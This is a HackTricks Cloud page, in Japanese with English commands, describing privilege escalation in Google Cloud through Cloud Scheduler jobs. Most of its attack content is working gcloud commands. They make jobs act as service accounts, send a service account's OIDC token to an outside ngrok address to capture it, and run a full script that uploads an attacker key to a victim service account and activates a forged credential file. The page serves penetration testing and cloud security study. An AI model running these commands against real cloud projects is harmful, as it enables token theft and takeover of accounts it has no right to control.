GCP - Cloud Scheduler Privesc
Reading time: 6 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Cloud Scheduler
More information in:
cloudscheduler.jobs.create
, iam.serviceAccounts.actAs
, (cloudscheduler.locations.list
)
これらの権限を持つ攻撃者は、Cloud Schedulerを利用して特定のサービスアカウントとしてcronジョブを認証することができます。HTTP POSTリクエストを作成することで、攻撃者はストレージバケットの作成などのアクションを、サービスアカウントのアイデンティティの下で実行するようにスケジュールします。この方法は、スケジューラーが*.googleapis.com
エンドポイントをターゲットにし、リクエストを認証する能力を利用しており、攻撃者は単純なgcloud
コマンドを使用してGoogle APIエンドポイントを直接操作することができます。
- OAuthトークンヘッダーを使用して
googleapis.com
経由で任意のGoogle APIにアクセス
新しいストレージバケットを作成:
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1
特権を昇格させるために、攻撃者は指定されたサービスアカウントを偽装して、目的のAPIをターゲットにしたHTTPリクエストを作成するだけです。
- OIDCサービスアカウントトークンを抽出する
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
HTTPレスポンスを確認する必要がある場合は、実行のログを確認するだけで済みます。
cloudscheduler.jobs.update
, iam.serviceAccounts.actAs
, (cloudscheduler.locations.list
)
前のシナリオと同様に、既に作成されたスケジューラーを更新してトークンを盗むか、アクションを実行することが可能です。例えば:
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
SAにプライベートキーをアップロードしてそれを偽装する別の例:
# Generate local private key
openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
-keyout /tmp/private_key.pem \
-out /tmp/public_key.pem \
-subj "/CN=unused"
# Remove last new line character of the public key
file_size=$(wc -c < /tmp/public_key.pem)
new_size=$((file_size - 1))
truncate -s $new_size /tmp/public_key.pem
# Update scheduler to upload the key to a SA
## For macOS: REMOVE THE `-w 0` FROM THE BASE64 COMMAND
gcloud scheduler jobs update http scheduler_lab_1 \
--schedule='* * * * *' \
--uri="https://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=json" \
--message-body="{\"publicKeyData\": \"$(cat /tmp/public_key.pem | base64 -w 0)\"}" \
--update-headers "Content-Type=application/json" \
--location us-central1 \
--oauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com
# Wait 1 min
sleep 60
# Check the logs to check it worked
gcloud logging read 'resource.type="cloud_scheduler_job" AND resource.labels.job_id="scheduler_lab_1" AND resource.labels.location="us-central1"
jsonPayload.@type="type.googleapis.com/google.cloud.scheduler.logging.AttemptFinished"' --limit 10 --project <project-id> --format=json
## If any '"status": 200' it means it worked!
## Note that this scheduler will be executed every minute and after a key has been created, all the other attempts to submit the same key will throw a: "status": 400
# Build the json to contact the SA
## Get privatekey in json format
file_content=$(<"/tmp/private_key.pem")
private_key_json=$(jq -Rn --arg str "$file_content" '$str')
## Get ID of the generated key
gcloud iam service-accounts keys list --iam-account=victim@$PROJECT_ID.iam.gserviceaccount.com
# Create the json in a file
## NOTE that you need to export your project-id in the env var PROJECT_ID
## and that this script is expecting the key ID to be the first one (check the `head`)
export PROJECT_ID=...
cat > /tmp/lab.json <<EOF
{
"type": "service_account",
"project_id": "$PROJECT_ID",
"private_key_id": "$(gcloud iam service-accounts keys list --iam-account=scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | cut -d " " -f 1 | grep -v KEY_ID | head -n 1)",
"private_key": $private_key_json,
"client_email": "scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com",
"client_id": "$(gcloud iam service-accounts describe scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | grep oauth2ClientId | cut -d "'" -f 2)",
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
"token_uri": "https://oauth2.googleapis.com/token",
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/scheduler-lab-1-target%40$PROJECT_ID.iam.gserviceaccount.com",
"universe_domain": "googleapis.com"
}
EOF
# Activate the generated key
gcloud auth activate-service-account --key-file=/tmp/lab.json
参考文献
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。